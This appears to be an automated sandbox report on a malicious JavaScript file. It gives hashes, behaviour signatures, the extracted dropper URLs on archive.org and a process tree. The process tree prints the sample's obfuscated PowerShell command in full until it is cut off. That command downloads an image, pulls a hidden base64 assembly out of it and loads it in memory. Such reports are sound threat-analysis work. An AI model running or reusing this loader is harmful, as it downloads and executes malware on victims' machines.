Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    08-08-2024 01:13

General

  • Target

    375d690a75254f5b58018e443205c6800270e553234845d92378b90023c9dc13.js

  • Size

    47.0MB

  • MD5

    e633eaeb161017eec584bd3f042cde07

  • SHA1

    6c0181476a703f2cc7232d62213dbcca8d6d2cf3

  • SHA256

    375d690a75254f5b58018e443205c6800270e553234845d92378b90023c9dc13

  • SHA512

    605fd043c9978d8f8834bef3a65f07e3513e53c5b2dd15f4a3853fba87e93ae05df4987921e40c9e29c1d8850f3ce090ffce48714601c55bf85eb00c7de5234d

  • SSDEEP

    3072:g0SaHey6uGxBKa+OKaGWvPa6Oua6W21lq6+Oq6GWPv6aOu6aW2J5Ka+OKaGWvPak:j

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\375d690a75254f5b58018e443205c6800270e553234845d92378b90023c9dc13.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J㍥ ␙ ⒡ ⤲ ℺Bp㍥ ␙ ⒡ ⤲ ℺G0㍥ ␙ ⒡ ⤲ ℺YQBn㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺VQBy㍥ ␙ ⒡ ⤲ ℺Gw㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺9㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺JwBo㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bw㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺Og㍥ ␙ ⒡ ⤲ ℺v㍥ ␙ ⒡ ⤲ ℺C8㍥ ␙ ⒡ ⤲ ℺aQBh㍥ ␙ ⒡ ⤲ ℺DY㍥ ␙ ⒡ ⤲ ℺M㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺x㍥ ␙ ⒡ ⤲ ℺DY㍥ ␙ ⒡ ⤲ ℺M㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺2㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺dQBz㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺YQBy㍥ ␙ ⒡ ⤲ ℺GM㍥ ␙ ⒡ ⤲ ℺a㍥ ␙ ⒡ ⤲ ℺Bp㍥ ␙ ⒡ ⤲ ℺HY㍥ ␙ ⒡ ⤲ ℺ZQ㍥ ␙ ⒡ ⤲ ℺u㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺cgBn㍥ ␙ ⒡ ⤲ ℺C8㍥ ␙ ⒡ ⤲ ℺MQ㍥ ␙ ⒡ ⤲ ℺w㍥ ␙ ⒡ ⤲ ℺C8㍥ ␙ ⒡ ⤲ ℺aQB0㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺bQBz㍥ ␙ ⒡ ⤲ ℺C8㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bo㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺bwB0㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺Xw㍥ ␙ ⒡ ⤲ ℺y㍥ ␙ ⒡ ⤲ ℺D㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺Mg㍥ ␙ ⒡ ⤲ ℺0㍥ ␙ ⒡ ⤲ ℺D㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺Nw㍥ ␙ ⒡ ⤲ ℺v㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺ZQBh㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺a㍥ ␙ ⒡ ⤲ ℺Bu㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺agBw㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺Jw㍥ ␙ ⒡ ⤲ ℺7㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺dwBl㍥ ␙ ⒡ ⤲ ℺GI㍥ ␙ ⒡ ⤲ ℺QwBs㍥ ␙ ⒡ ⤲ ℺Gk㍥ ␙ ⒡ ⤲ ℺ZQBu㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺9㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺TgBl㍥ ␙ ⒡ ⤲ ℺Hc㍥ ␙ ⒡ ⤲ ℺LQBP㍥ ␙ ⒡ ⤲ ℺GI㍥ ␙ ⒡ ⤲ ℺agBl㍥ ␙ ⒡ ⤲ ℺GM㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺FM㍥ ␙ ⒡ ⤲ ℺eQBz㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺ZQBt㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺TgBl㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺LgBX㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺YgBD㍥ ␙ ⒡ ⤲ ℺Gw㍥ ␙ ⒡ ⤲ ℺aQBl㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺7㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺aQBt㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺ZwBl㍥ ␙ ⒡ ⤲ ℺EI㍥ ␙ ⒡ ⤲ ℺eQB0㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺cw㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺D0㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺k㍥ ␙ ⒡ ⤲ ℺Hc㍥ ␙ ⒡ ⤲ ℺ZQBi㍥ ␙ ⒡ ⤲ ℺EM㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺Bp㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺bgB0㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺R㍥ ␙ ⒡ ⤲ ℺Bv㍥ ␙ ⒡ ⤲ ℺Hc㍥ ␙ ⒡ ⤲ ℺bgBs㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺YQBk㍥ ␙ ⒡ ⤲ ℺EQ㍥ ␙ ⒡ ⤲ ℺YQB0㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺K㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺k㍥ ␙ ⒡ ⤲ ℺Gk㍥ ␙ ⒡ ⤲ ℺bQBh㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺ZQBV㍥ ␙ ⒡ ⤲ ℺HI㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺p㍥ ␙ ⒡ ⤲ ℺Ds㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bp㍥ ␙ ⒡ ⤲ ℺G0㍥ ␙ ⒡ ⤲ ℺YQBn㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺V㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺Hg㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺D0㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺Bb㍥ ␙ ⒡ ⤲ ℺FM㍥ ␙ ⒡ ⤲ ℺eQBz㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺ZQBt㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺V㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺Hg㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺u㍥ ␙ ⒡ ⤲ ℺EU㍥ ␙ ⒡ ⤲ ℺bgBj㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺Bp㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺ZwBd㍥ ␙ ⒡ ⤲ ℺Do㍥ ␙ ⒡ ⤲ ℺OgBV㍥ ␙ ⒡ ⤲ ℺FQ㍥ ␙ ⒡ ⤲ ℺Rg㍥ ␙ ⒡ ⤲ ℺4㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺RwBl㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺UwB0㍥ ␙ ⒡ ⤲ ℺HI㍥ ␙ ⒡ ⤲ ℺aQBu㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺K㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺k㍥ ␙ ⒡ ⤲ ℺Gk㍥ ␙ ⒡ ⤲ ℺bQBh㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺ZQBC㍥ ␙ ⒡ ⤲ ℺Hk㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺KQ㍥ ␙ ⒡ ⤲ ℺7㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺cwB0㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cgB0㍥ ␙ ⒡ ⤲ ℺EY㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺Bh㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺9㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺Jw㍥ ␙ ⒡ ⤲ ℺8㍥ ␙ ⒡ ⤲ ℺Dw㍥ ␙ ⒡ ⤲ ℺QgBB㍥ ␙ ⒡ ⤲ ℺FM㍥ ␙ ⒡ ⤲ ℺RQ㍥ ␙ ⒡ ⤲ ℺2㍥ ␙ ⒡ ⤲ ℺DQ㍥ ␙ ⒡ ⤲ ℺XwBT㍥ ␙ ⒡ ⤲ ℺FQ㍥ ␙ ⒡ ⤲ ℺QQBS㍥ ␙ ⒡ ⤲ ℺FQ㍥ ␙ ⒡ ⤲ ℺Pg㍥ ␙ ⒡ ⤲ ℺+㍥ ␙ ⒡ ⤲ ℺Cc㍥ ␙ ⒡ ⤲ ℺Ow㍥ ␙ ⒡ ⤲ ℺k㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺EY㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺Bh㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺9㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺Jw㍥ ␙ ⒡ ⤲ ℺8㍥ ␙ ⒡ ⤲ ℺Dw㍥ ␙ ⒡ ⤲ ℺QgBB㍥ ␙ ⒡ ⤲ ℺FM㍥ ␙ ⒡ ⤲ ℺RQ㍥ ␙ ⒡ ⤲ ℺2㍥ ␙ ⒡ ⤲ ℺DQ㍥ ␙ ⒡ ⤲ ℺XwBF㍥ ␙ ⒡ ⤲ ℺E4㍥ ␙ ⒡ ⤲ ℺R㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺+㍥ ␙ ⒡ ⤲ ℺D4㍥ ␙ ⒡ ⤲ ℺Jw㍥ ␙ ⒡ ⤲ ℺7㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺cwB0㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cgB0㍥ ␙ ⒡ ⤲ ℺Ek㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺e㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺D0㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺k㍥ ␙ ⒡ ⤲ ℺Gk㍥ ␙ ⒡ ⤲ ℺bQBh㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺ZQBU㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺e㍥ ␙ ⒡ ⤲ ℺B0㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺SQBu㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺ZQB4㍥ ␙ ⒡ ⤲ ℺E8㍥ ␙ ⒡ ⤲ ℺Zg㍥ ␙ ⒡ ⤲ ℺o㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺cwB0㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cgB0㍥ ␙ ⒡ ⤲ ℺EY㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺Bh㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺KQ㍥ ␙ ⒡ ⤲ ℺7㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺ZQBu㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺SQBu㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺ZQB4㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺PQ㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺aQBt㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺ZwBl㍥ ␙ ⒡ ⤲ ℺FQ㍥ ␙ ⒡ ⤲ ℺ZQB4㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺LgBJ㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺Hg㍥ ␙ ⒡ ⤲ ℺TwBm㍥ ␙ ⒡ ⤲ ℺Cg㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺BG㍥ ␙ ⒡ ⤲ ℺Gw㍥ ␙ ⒡ ⤲ ℺YQBn㍥ ␙ ⒡ ⤲ ℺Ck㍥ ␙ ⒡ ⤲ ℺Ow㍥ ␙ ⒡ ⤲ ℺k㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bh㍥ ␙ ⒡ ⤲ ℺HI㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺BJ㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺Hg㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺t㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺ZQ㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺D㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺t㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺BJ㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺Hg㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺t㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺cwB0㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cgB0㍥ ␙ ⒡ ⤲ ℺Ek㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺e㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺7㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺cwB0㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cgB0㍥ ␙ ⒡ ⤲ ℺Ek㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺e㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺Cs㍥ ␙ ⒡ ⤲ ℺PQ㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺cwB0㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cgB0㍥ ␙ ⒡ ⤲ ℺EY㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺Bh㍥ ␙ ⒡ ⤲ ℺Gc㍥ ␙ ⒡ ⤲ ℺LgBM㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺bgBn㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺a㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺7㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺YgBh㍥ ␙ ⒡ ⤲ ℺HM㍥ ␙ ⒡ ⤲ ℺ZQ㍥ ␙ ⒡ ⤲ ℺2㍥ ␙ ⒡ ⤲ ℺DQ㍥ ␙ ⒡ ⤲ ℺T㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺ZwB0㍥ ␙ ⒡ ⤲ ℺Gg㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺9㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺BJ㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺Z㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺Hg㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺t㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bz㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺YQBy㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺SQBu㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺ZQB4㍥ ␙ ⒡ ⤲ ℺Ds㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bi㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cwBl㍥ ␙ ⒡ ⤲ ℺DY㍥ ␙ ⒡ ⤲ ℺N㍥ ␙ ⒡ ⤲ ℺BD㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺bQBt㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺PQ㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺aQBt㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺ZwBl㍥ ␙ ⒡ ⤲ ℺FQ㍥ ␙ ⒡ ⤲ ℺ZQB4㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺LgBT㍥ ␙ ⒡ ⤲ ℺HU㍥ ␙ ⒡ ⤲ ℺YgBz㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺cgBp㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺Zw㍥ ␙ ⒡ ⤲ ℺o㍥ ␙ ⒡ ⤲ ℺CQ㍥ ␙ ⒡ ⤲ ℺cwB0㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cgB0㍥ ␙ ⒡ ⤲ ℺Ek㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺e㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺s㍥ ␙ ⒡ ⤲ ℺C㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bi㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cwBl㍥ ␙ ⒡ ⤲ ℺DY㍥ ␙ ⒡ ⤲ ℺N㍥ ␙ ⒡ ⤲ ℺BM㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺bgBn㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺a㍥ ␙ ⒡ ⤲ ℺㍥ ␙ ⒡ ⤲ ℺p㍥ ␙ ⒡ ⤲ ℺Ds㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bj㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺bQBt㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺EI㍥ ␙ ⒡ ⤲ ℺eQB0㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺cw㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺D0㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺Bb㍥ ␙ ⒡ ⤲ ℺FM㍥ ␙ ⒡ ⤲ ℺eQBz㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺ZQBt㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺QwBv㍥ ␙ ⒡ ⤲ ℺G4㍥ ␙ ⒡ ⤲ ℺dgBl㍥ ␙ ⒡ ⤲ ℺HI㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bd㍥ ␙ ⒡ ⤲ ℺Do㍥ ␙ ⒡ ⤲ ℺OgBG㍥ ␙ ⒡ ⤲ ℺HI㍥ ␙ ⒡ ⤲ ℺bwBt㍥ ␙ ⒡ ⤲ ℺EI㍥ ␙ ⒡ ⤲ ℺YQBz㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺Ng㍥ ␙ ⒡ ⤲ ℺0㍥ ␙ ⒡ ⤲ ℺FM㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺By㍥ ␙ ⒡ ⤲ ℺Gk㍥ ␙ ⒡ ⤲ ℺bgBn㍥ ␙ ⒡ ⤲ ℺Cg㍥ ␙ ⒡ ⤲ ℺J㍥ ␙ ⒡ ⤲ ℺Bi㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺cwBl㍥ ␙ ⒡ ⤲ ℺DY㍥ ␙ ⒡ ⤲ ℺N㍥ ␙ ⒡ ⤲ ℺BD㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺bQBt㍥ ␙ ⒡ ⤲ ℺GE㍥ ␙ ⒡ ⤲ ℺bgBk㍥ ␙ ⒡ ⤲ ℺Ck㍥ ␙ ⒡ ⤲ ℺Ow㍥ ␙ ⒡ ⤲ ℺k㍥ ␙ ⒡ ⤲ ℺Gw㍥ ␙ ⒡ ⤲ ℺bwBh㍥ ␙ ⒡ ⤲ ℺GQ㍥ ␙ ⒡ ⤲ ℺ZQBk㍥ ␙ ⒡ ⤲ ℺EE㍥ ␙ ⒡ ⤲ ℺cwBz㍥ ␙ ⒡ ⤲ ℺GU㍥ ␙ ⒡ ⤲ ℺bQBi㍥ ␙ ⒡ ⤲ ℺Gw㍥ ␙ ⒡ ⤲ ℺eQ㍥ ␙ ⒡ ⤲ ℺g㍥ ␙ ⒡ ⤲ ℺D0㍥ ␙ ⒡ ⤲ ℺I㍥ ␙ ⒡ ⤲ ℺Bb㍥ ␙ ⒡ ⤲ ℺FM㍥ ␙ ⒡ ⤲ ℺eQBz㍥ ␙ ⒡ ⤲ ℺HQ㍥ ␙ ⒡ ⤲ ℺ZQBt㍥ ␙ ⒡ ⤲ ℺C4㍥ ␙ ⒡ ⤲ ℺UgBl㍥ ␙ ⒡ ⤲ ℺GY㍥ ␙ ⒡ ⤲ ℺b㍥ ␙ ⒡ ⤲ ℺Bl㍥ ␙ ⒡ ⤲ ℺GM㍥ ␙ ⒡ ⤲ ℺d㍥ ␙ ⒡ ⤲ ℺Bp㍥ ␙ ⒡ ⤲ ℺G8㍥ ␙ ⒡ ⤲ ℺bg㍥ ␙ ⒡ ⤲ ℺u㍥ ␙ 